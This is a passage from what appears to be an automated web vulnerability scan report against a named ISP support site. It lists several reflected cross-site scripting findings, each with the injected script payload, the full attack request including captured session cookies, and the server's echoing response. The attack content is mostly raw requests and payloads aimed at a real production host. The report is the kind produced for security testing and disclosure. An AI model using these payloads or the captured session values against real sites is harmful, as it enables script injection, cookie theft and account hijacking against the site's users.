o.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/images/map_canadaOff.gif?ebb80"><script>alert(1)</script>9fa3e8bd4d4=1" />
...[SNIP]...

2.178. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cbce8"><script>alert(1)</script>718566a79d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3Ccbce8"><script>alert(1)</script>718566a79d9/script%3E08b85c0c654 HTTP/1.1
Host: service.sympatico.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; CFID=122144238; CFTOKEN=86284596; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; VOKEN_SEEN=0; SMSESSION=ghL0Ozw3AB1YcI1Aiqh/WMNX4UE+vYluS1cIFRj6dmhfb9d2/+eeuJMPRPs7vW43uJ6RzYTjW/Tgfs2XyNh9afBRGQR8nnH9x6ZY83W+oJhhZD8bXJ5/a8YYpy3s/VcwF6Vb8GO0YVtcYG36kq9q2ShyF4aJ6ihGupaQxPkohRFrGYoercwA+MxerdcWd+Ay9GvqdcxPCfJg8tNEt01qxbejKbn1DVNG5Zmj/Ye0LjhH8LZlECvg54KHppMzrWQTM696QEFx9R5aEeqlQW8afQvPr7TkPw0t2qCHU88npkucV8WfDloLJQ==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617173056%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.1.10.1290615373; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:03 GMT
Connection: close
Set-Cookie: SMSESSION=+EAHhxDRO1BDTHWfcBLa0mVp/Yi83imVcDoQwPpWR8974Q5CKPSQVhWbGji+AzJCa/oXd4qIs2Kki1ReHBrFP1r+f2smi27qOXalZvjTlxEbdAkAT77OlDEARft9rthGkSUo2gkTPh/kHkXOOaOGNQFsAjlUkqWsOKyY1YIUjjdV3s95u/IOuM8H0lKFo66nOpuqAdnjZxzJgQrOSSg+Hq2KNDt6xvP1FqOSy/jUJ+iJ0tGs0kCs4aK1N9n9pmgdwZBESoCp+dK/QHCJ9DIkV51XyTG4H4KasD/Oxl6bxuwCMlEwBsD/Xg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:03 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:03 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
ice.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3Ccbce8"><script>alert(1)</script>718566a79d9/script%3E08b85c0c654" />
...[SNIP]...

2.179. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7100"><script>alert(1)</script>bafe3a43848 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654f7100"><script>alert(1)</script>bafe3a43848 HTTP/1.1
Host: service.sympatico.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; CFID=122144238; CFTOKEN=86284596; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; VOKEN_SEEN=0; SMSESSION=ghL0Ozw3AB1YcI1Aiqh/WMNX4UE+vYluS1cIFRj6dmhfb9d2/+eeuJMPRPs7vW43uJ6RzYTjW/Tgfs2XyNh9afBRGQR8nnH9x6ZY83W+oJhhZD8bXJ5/a8YYpy3s/VcwF6Vb8GO0YVtcYG36kq9q2ShyF4aJ6ihGupaQxPkohRFrGYoercwA+MxerdcWd+Ay9GvqdcxPCfJg8tNEt01qxbejKbn1DVNG5Zmj/Ye0LjhH8LZlECvg54KHppMzrWQTM696QEFx9R5aEeqlQW8afQvPr7TkPw0t2qCHU88npkucV8WfDloLJQ==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617173056%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.1.10.1290615373; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:17:10 GMT
Connection: close
Set-Cookie: SMSESSION=KWjYSGWp2lZSBF7ccqlKp7cqnw9Q5Cy/CeHsaPKesiYjudAABMqJoRduXbF/R+WaG9z3r/MFhcGQMI4o00f1A18mp4+TR1jCra//LLDLbeR6CMp5ltY8Frqd40z1iBWITSTp//lTats0k4xJR3ZDD8S1hYPrVkTSug6heQqg0Uqs9lhSLB7Rj2uykJh7Roe75notkfMEQ+8Cc/WVde2vX8Dmt+V3RZd7FqweW5W38CDYr93NBIvl4jWcaXR2SvFD09eJFMGMTo4C05pP25QNc3Z8u07Df2kU1bFY48w5GaL92ZWcZVOovQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:17:11 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:17:11 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
x.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654f7100"><script>alert(1)</script>bafe3a43848" />
...[SNIP]...

2.180. http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e315"><script>alert(1)</script>379ee874ac2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654?4e315"><script>alert(1)</script>379ee874ac2=1 HTTP/1.1
Host: service.sympatico.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; CFID=122144238; CFTOKEN=86284596; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; VOKEN_SEEN=0; SMSESSION=ghL0Ozw3AB1YcI1Aiqh/WMNX4UE+vYluS1cIFRj6dmhfb9d2/+eeuJMPRPs7vW43uJ6RzYTjW/Tgfs2XyNh9afBRGQR8nnH9x6ZY83W+oJhhZD8bXJ5/a8YYpy3s/VcwF6Vb8GO0YVtcYG36kq9q2ShyF4aJ6ihGupaQxPkohRFrGYoercwA+MxerdcWd+Ay9GvqdcxPCfJg8tNEt01qxbejKbn1DVNG5Zmj/Ye0LjhH8LZlECvg54KHppMzrWQTM696QEFx9R5aEeqlQW8afQvPr7TkPw0t2qCHU88npkucV8WfDloLJQ==; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617173056%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.1.10.1290615373; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:16:52 GMT
Connection: close
Set-Cookie: SMSESSION=VQ+aSMJtokeCZ78YWS+OXpGrEjDWxxRwc/FnCWk0xg5KL1QwqtLGKF3PzAzufkJ3OnOodEeWRsZmCYOjOPiId6HJdMAQI1yLto3CC1aeQalveWZ6atvApCK7+yCqMl7OgcSFK3lcE/cUofm/UjBRPNlbzw2E74IDUdRIC4gMmhc81I34r+RBVKENrEnJPZi8uKvPsxt6TC9LxrW9cVm5VMJzh4VM8Q7R09aHM+eYkZcK7BEdAdkuxUHYLofG5VKrijcKIND1nezet8VRorSVC7rcmFyUXY8QiqgF2Tnxswyw9c9JmIVoIA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:16:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3B